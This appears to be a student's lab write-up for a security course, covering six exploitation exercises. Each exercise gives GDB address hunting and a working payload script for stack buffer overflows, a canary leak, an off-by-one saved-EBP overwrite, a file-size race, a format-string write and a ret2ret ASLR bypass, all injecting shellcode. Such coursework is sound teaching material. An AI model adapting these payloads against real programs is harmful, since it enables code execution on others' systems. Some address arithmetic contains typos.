Question 2 → Spica

Main Idea

we can exploit this program through the fread() function which does not check the size of the file and only checks the file whenever it is empty, enabling us to write past the end of the message. We replace the saved return address (rip) upon that stack with the address of the shellcode, then insert the shellcode above it. Resulting in a buffer overflow exploit.

Magic Numbers

We first get the address of msg buffer by typing in gdb p &buf and we get the address 0xffffda28 and the address of saved rip 0xffffdabc… The number of bytes between buffer and the rip is 0xffffdabc - 0xffffda28 = 0x94 = 148

Exploit GDB output

```
(gdb) x/16x buf
0x804d1e0 <buf>:        0x00000000      0x00000000      0x00000000      0x00000000
0x804d1f0 <buf+16>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d200 <buf+32>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d210 <buf+48>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d220 <buf+64>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d230 <buf+80>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d240 <buf+96>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804d250 <buf+112>:    0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

```
Breakpoint 1, display (path=0xffffdc83 "navigation") at telemetry.c:21
(gdb) i f
Stack level 0, frame at 0xffffdac0:
 eip = 0x8049254 in display (telemetry.c:21); saved eip = 0x80492bd
 called by frame at 0xffffdaf0
 source language c.
 Arglist at 0xffffdab8, args: path=0xffffdc83 "navigation"
 Locals at 0xffffdab8, Previous frame's sp is 0xffffdac0
 Saved registers:
  ebp at 0xffffdab8, eip at 0xffffdabc
```

Exploit Structure

```
size = b'\xff'
printb(size + b'A'* 148 + b'\xc0\xda\xff\xff' + SHELLCODE + b'/x0a'+ b'\n'
)
```

- b'\xff' → size of file specified
- b'A' * 148 → fill the message with garbage to overwrite buf, compiler padding and the sfp.
- B'\xc0\xda\xff\xff → the Address we overwrite rip which points to shellcode and is 4 bytes above the older rip address. (0xffffdabc + 4 = 0xffffdaco)

Question 3 → Polaris

Main Idea

We had to first leak the stack canary in order to take advantage of the program. With the exception of setting the canary's initial value, we were able to treat the exploit like a typical buffer overflow issue once we knew the exact value of the canary. The vulnerability is found in dehexify function's c.buffer[i] which skips the i+2 and i+3 checks. The check will skip over two null bytes and print the canary until there are no more null bytes.

Magic Numbers

First, we get the address c.buffer and c.answer

```
(gdb) p &c.buffer
$1 = (char (*)[16]) 0xffffdacc
(gdb) p &c.answer
$2 = (char (*)[16]) 0xffffdabc
(gdb)
```

To overwrite the canary, we had to fill the buf with padding which is 32 bytes of garbage followed by the canary address And the address of the rip is at 0xffffdaec

So, now we knw rip - c.buffer which is 0xffffdaec - 0xffffdacc = 32

Exploit Structure

```
p.send(b'A'* 12 +b'\\x\n')

canary = p.recv(21)[13:17]
padding =b'A' * 32
rip = b'\xf0\xda\xff\xff'

p.send(padding + canary + b'A' * 12 + rip + SHELLCODE + b'\n')
# Example receive:
```

→ first send b'A'* 12 + b'\\x\n' to the program and we will receive 21 string back so the canary = p.recv(21)[13:17] stores the value of canary

→ rip = b'\xf0\xda\xff\xff' which we found from 0xffffdaec + 4 = 0xffffdaf0

→ then fill 12 bytes of garbage to get to the rip and jump to the shellcode. then the shellcode is going to run.

Exploit GDB output

```
(gdb) x/16x c.buffer
0xffffdacc:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdadc:     0x7facb1e9      0x0804d020      0x00000000      0xffffdaf8
0xffffdaec:     0x08049341      0x00000000      0xffffdb10      0xffffdb8c
0xffffdafc:     0x0804952a      0x00000001      0x08049329      0x0804cfe8
```

```
(gdb) x/16x c.answer
0xffffdabc:     0xffffdc5b      0x00000002      0x00000000      0x00000000
0xffffdacc:     0x00000000      0x00000000      0xffffdfe1      0x0804cfe8
0xffffdadc:     0x7facb1e9      0x0804d020      0x00000000      0xffffdaf8
0xffffdaec:     0x08049341      0x00000000      0xffffdb10      0xffffdb8c
(gdb)
```

```
 called by frame at 0xffffdb10
 source language c.
 Arglist at 0xffffdae8, args:
 Locals at 0xffffdae8, Previous frame's sp is 0xffffdaf0
 Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c  ebp at 0xffff
dae8, eip at 0xffffdaec
(gdb)
```

Question 4 → Vega

Main Idea

The index off-by-one vulnerabilities make the program vulnerable. In the flip function, the buf is written with one extra byte added to its buffer size. Additionally, the address of a saved ebp is located above buf[64]. Therefore, we can modify the last byte of the saved ebp and write pass buf[64]. Therefore, esp will transition to modified ebp. The return address will then be increased by 4 by esp. We are able to inject shell code into that return address. Therefore, esp will execute the shellcode .

Magic Numbers

First we find the address of the shellcode using the Gdb

```
(gdb) p environ[3]
$3 = 0xffffdf9c "SHELL=/bin/sh"
(gdb) p environ[4]
$4 = 0xffffdfaa "EGG=j2X̀\211É\301jGX̀1\300Ph//shh/binT[PS\211\341\061¥\v̀"
```

The shellcode is going to be found in 0xffffdfaa + 4 = 0xffffdfae

```
native process 31325 In: main                                        L26
Stack level 0, frame at 0xffffdaa0:
 eip = 0x8049283 in main (flipper.c:26); saved eip = 0x804946f
 source language c.
 Arglist at 0xffffda98, args: argc=2, argv=0xffffdb14
 Locals at 0xffffda98, Previous frame's sp is 0xffffdaa0
 Saved registers:
  ebp at 0xffffda98, eip at 0xffffda9c
```

By typing i f, we can get the address of ebp and eip which is just above buf

Exploit GDB output

```
0xffffda44:     0x00000001      0x00000000      0xffffdbfb      0x00000002
0xffffda54:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda64:     0xffffdfe5      0xf7ffc540      0xf7ffc000      0x00000000
0xffffda74:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffda84:     0x00000000      0x080491aa      0x0804900d      0x00000002
0xffffda94:     0x08049280      0xffffdb20      0x0804946f      0x00000002
0xffffdaa4:     0xffffdb14      0xffffdb20      0x0804a000      0x00000000
(gdb)
```

Exploit Structure

```
printb (b'A'*4 + b'\x8e\xff\xdf\xdf' + b'a'*56 +b'\x60' + b'\n')
```

- b'A' * 4 → fills buf with 4 bytes of garabage so rip will point to the b'\x8e\xff\xdf\xdf'.
- B'\x8e\xff\xdf\xdf' → this the xor of shellcode 0xffffdfae
- And then b'a' * 56 is 56 bytes of garabage followed by b'\x60' which will overwrite the least sig byte of sfp

Question 5 → Deneb

Main Idea

We took full advantage of the program's ability to check the file's size before reading it for this exploit. In order to read more bytes into buf than the program had originally expected, we were able to add more bytes to the file after the size check but before it is read. this is typical buffer overflow vulnerability. The shellcode was able to be inserted at the bottom of buf because it is smaller than buf in size. We did this by writing the shellcode to the file at the beginning, before the size check, and then using our standard buffer overflow exploit to change the rip so that it now points to the address of buf.

Magic Numbers

First lets find the address of buf which is 0xffffda78

Using i f in GDB

```
 Arglist at 0xffffdb08, args:
 Locals at 0xffffdb08, Previous frame's sp is 0xffffdb10
 Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c  ebp at 0xffff
db08, eip at 0xffffdb0c
(gdb)
```

Eip is 0xffffdboc

After finding the eip we find the bytes between eip and buf 0xffffdboc - 0xffffda78 = 148 bytes.

Shellcode is 72 bytes .. shellcode is at the bottom of buf so 148 - 72 = 76 bytes of dummy character to overwrite the rip

Exploit GDB output

```
$1 = (char (*)[128]) 0xffffda78
(gdb) x/16x buf
0xffffda78:     0xdb31c031      0xd231c931      0xb05b32eb      0xcdc93105
0xffffda88:     0xebc68980      0x3101b006      0x8980cddb      0x8303b0f3
0xffffda98:     0x0c8d01ec      0xcd01b224      0x39db3180      0xb0e674c3
0xffffdaa8:     0xb202b304      0x8380cd01      0xdfeb01c4      0xffffc9e8
```

```
(gdb) x/50x buf
0xffffda78:     0xdb31c031      0xd231c931      0xb05b32eb      0xcdc93105
0xffffda88:     0xebc68980      0x3101b006      0x8980cddb      0x8303b0f3
0xffffda98:     0x0c8d01ec      0xcd01b224      0x39db3180      0xb0e674c3
0xffffdaa8:     0xb202b304      0x8380cd01      0xdfeb01c4      0xffffc9e8
0xffffdab8:     0x414552ff      0x00454d44      0x41414141      0x41414141
0xffffdac8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdad8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdae8:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffdaf8:     0x00000098      0x41414141      0x41414141      0x41414141
0xffffdb08:     0x41414141      0xffffda78      0x00000001      0x08049391
0xffffdb18:     0xffffdb9c      0x0804956a      0x00000001      0xffffdb94
0xffffdb28:     0xffffdb9c      0x080510a1      0x00000000      0x00000000
0xffffdb38:     0x08049548      0x08053fe8
(gdb)
```

Exploit Structure

```
### YOUR CODE STARTS HERE ###
newrip = b'\x78\xda\xff\xff'

with open('hack', 'wb') as f:
    f.write(SHELLCODE)
    f.close()

p.start()
assert p.recv(30) == b'How many bytes should I read? '

f = open('hack','ab')
f.write(b'A'*76 + newrip + b'\n')
f.close()

p.send(b'152\n')

#assert p.recv(18) == b'Here is the file!\n'
print(p.recv(12))
```

- F.write (shellcode) – By writing the shellcode into the file so that it fills 72 bytes of buf and passes the size check.

- We open the file again after the size check is complete and then we add 76 bytes of garbage.
- Next, we modify the rip so that it points to the address of the buf where our shellcode is kept.
- And then, we specify the amount of bytes (152) we have added to the file using p.send.

Question 6 → Antares

Main Idea

we're using a format string vulnerability to redirect execution to malicious shellcode. we want to redirect execution to shellcode by setting the RIP of calibrate to a shellcode address. This is our end goal.

Magic Numbers

We first find the address of rip of calibrate which is at oxfffda1c
And then we find the address of shellcode which starts with 0xcd58326a

```
(gdb) x/16x 0xffffdc62
0xffffdc62:     0xcd58326a      0x89c38980      0x58476ac1      0xc03180cd
0xffffdc72:     0x2f2f6850      0x2f686873      0x546e6962      0x8953505b
0xffffdc82:     0xb0d231e1      0x0080cd0b      0x564c4853      0x00313d4c
0xffffdc92:     0x3d444150      0xffffffff      0xffffffff      0xffffffff
(gdb)
```

```
eip = 0x80491eb in calibrate (calibrate.c:7); saved eip = 0x804928f
called by frame at 0xffffdad0
source language c.
Arglist at 0xffffda18, args: buf=0xffffda30 ""
Locals at 0xffffda18, Previous frame's sp is 0xffffda20
Saved registers:
 ebp at 0xffffda18, eip at 0xffffda1c
(gdb)
```

Exploit Structure

```
payload += b'A' * 4   # Hint: Word 0 of buffer (consumed by %__u)
payload += b'\x1c\xda\xff\xff'   # Hint: Word 1 of buffer (consumed by %hn)

payload += b'A' * 4   # Hint: Word 2 of buffer (consumed by %__u)
payload +=  b'\x1e\xda\xff\xff'  # Hint: Word 3 of buffer (consumed by %hn)

##############################################################################
# Before we dive into the %hn, we need to make sure we bump our printf argument
# pointer up to a point where we have write access to (e.g. somewhere in our
# buffer). We can use the harmless %c to work our way up the stack. After all
# of these %c's are consumed, we should expect our argument pointer to point
# to the first thing in our buffer (as noted above, "Word 0").
##############################################################################

payload += b'%c' * 15

##############################################################################
# Now, we're ready to dive into the %hn's. Before each %hn, we need to make sure
# we've printed the total number of bytes correctly; that's what the %__u is
# for. Calculate the number of "remaining" bytes to print by subtracting the
# target value that we want to print from the total number of bytes we've
# printed so far in the exploit. Note that each %c prints one byte.
##############################################################################

FIRST_HALF = 0xffff # The two most significant bytes of an address
SECOND_HALF = 0xdc62 # The two least significant bytes of an address

payload += b'%' + num_to_ascii(SECOND_HALF - 31) + b'u'
payload += b'%hn'

payload += b'%' + num_to_ascii(FIRST_HALF -SECOND_HALF) + b'u'
payload += b'%hn'

printb(payload + b'\n')
```

- Word 0 0f buffer is 0xffffda1c
- Word 3 of buffer is 0xffffda1c + 2 = 0xffffda1e
- And we will use b’%c’ * 15 walk up the stack and skip past args[]
- we can break up our shellcode into two halves, and use the '%hn' specifier instead to write one half at a time.
- the first half and second half of the shellcode

Question 6 → Rigel

Main Idea

This program can be exploited using ret2ret attack to get around ASLR, and then use a buffer overflow attack to modify the rip and add our shellcode

Overwriting the return address with a fixed address is useless with ASLR, which is the problem. Returning to an existing pointer that points into the shellcode is the goal of ret2ret.

Magic Numbers

First we find the address of buf which is 0xffdea99c and then we find the address of rip which is 0xfffdeaa2c

We calculated the difference between the eip and buf to determine how much garbage was required to fill the buffer: ffdeaa2c – ffdea99c = 144

And we need find the address of ret command. Using the command disass main.. And its 0x080494ca

```
0x80494be <main+75>     mov    -0x10(%ebp),%eax
0x80494c1 <main+78>     lea    -0x8(%ebp),%esp
0x80494c4 <main+81>     pop    %ecx
0x80494c5 <main+82>     pop    %ebx
0x80494c6 <main+83>     pop    %ebp
0x80494c7 <main+84>     lea    -0x4(%ecx),%esp
0x80494ca <main+87>     ret
```

```
native process 1647 In: secure_gets
 called by frame at 0xffdeaa70
 source language c.
 Arglist at 0xffdeaa28, args: err_ptr=0xffdeaa48
 Locals at 0xffdeaa28, Previous frame's sp is 0xffdeaa30
 Saved registers:
--Type <RET> for more, q to quit, c to continue without paging--c  ebx at 0xffde
aa24, ebp at 0xffdeaa28, eip at 0xffdeaa2c
```

Exploit GDB output

```
(gdb) x/16x buf
0xffdea99c:     0x00000000      0x00000000      0x00000000      0x10000000
0xffdea9ac:     0x00000000      0x00000002      0x00000000      0x0804c867
0xffdea9bc:     0x0804ffd8      0xffdeaae4      0x00000001      0x0804ffd8
0xffdea9cc:     0x0804ba07      0x00000000      0xffdea9ec      0x00000000
0xffdea9dc:     0x0804904a      0x00000000      0x000003ef      0x000003ef
0xffdea9ec:     0x000003ef      0xffffffff      0x00000000      0x000000cc
0xffdea9fc:     0x00000000      0x00000000      0x00000000      0x0804b9bc
0xffdeaa0c:     0x0804b951      0x000000cc      0x000003ef      0xffffffff
```

Exploit Structure

```
# Program start:
p.start()

# Example send:
p.send(b'\x90'* 72 + SHELLCODE  +  b'\xca\x94\x04\x08'+b'\n')
```

- We need nop * 72 + shellcode which equals = 144
- Filling with 72 nop will help it reach to the shellcode because there is no instruction till it reaches to the shellcode.
- And then ret commands have to placed before the pointer.